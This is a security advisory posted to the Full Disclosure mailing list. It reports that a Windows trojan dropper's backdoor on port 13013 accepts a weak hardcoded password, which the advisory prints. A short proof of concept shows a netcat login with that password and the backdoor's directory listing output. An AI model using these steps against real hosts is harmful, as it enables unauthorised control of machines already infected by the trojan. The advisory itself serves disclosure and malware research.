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Date: Wed, 23 Jun 2021 21:49:51 -0400
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Trojan-Dropper.Win32.Juntador.a / Weak Hardcoded Password

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source:
https://malvuln.com/advisory/f28e866ce2f99013a66b015f6a7f31a8.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Trojan-Dropper.Win32.Juntador.a
Vulnerability: Weak Hardcoded Password
Description: The malware listens on TCP ports 7826 and 13013 and drops
executables under the Windows dir. Authentication is required for remote
user access. However, the password "sexjerx sexjerx" is weak and hardcoded
in plaintext within the executable.
Type: PE32
MD5: f28e866ce2f99013a66b015f6a7f31a8
Vuln ID: MVID-2021-0259
Dropped files: winvxd.exe, IntelMouse.exe
Disclosure: 06/23/2021

Exploit/PoC:
nc64.exe x.x.x.x 13013

pwd sexjerx sexjerx
psychward revised 0.1, awaiting your command
dir
<.>
<..>
<0409>
12520437.cpx                   (2151)
12520850.cpx                   (2233)
@AudioToastIcon.png            (308)
@EnrollmentToastIcon.png       (330)
@VpnToastIcon.png              (404)
@WirelessDisplayToast.png      (691)
aadauthhelper.dll              (154624)
aadtb.dll                      (954880)
AboveLockAppHost.dll           (252928)
accessibilitycpl.dll           (3804160)
accountaccessor.dll            (215552)
AccountsRt.dll                 (363520)
AcGenral.dll                   (2393600)
AcLayers.dll                   (372224)
acledit.dll                    (9216)
aclui.dll                      (5388800)
acppage.dll                    (68096)
AcSpecfc.dll                   (471552)
ActionCenter.dll               (261632)
ActionCenterCPL.dll            (541184)
ActivationClient.dll           (30720)
ActivationManager.dll          (444928)
activeds.dll                   (222720)
activeds.tlb                   (112128)
ActiveSyncProvider.dll         (1546752)
actxprxy.dll                   (261632)
AcWinRT.dll                    (33792)
acwow64.dll                    (38400)
AcXtrnal.dll                   (87552)
AdaptiveCards.dll              (38400)
etc...


Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).

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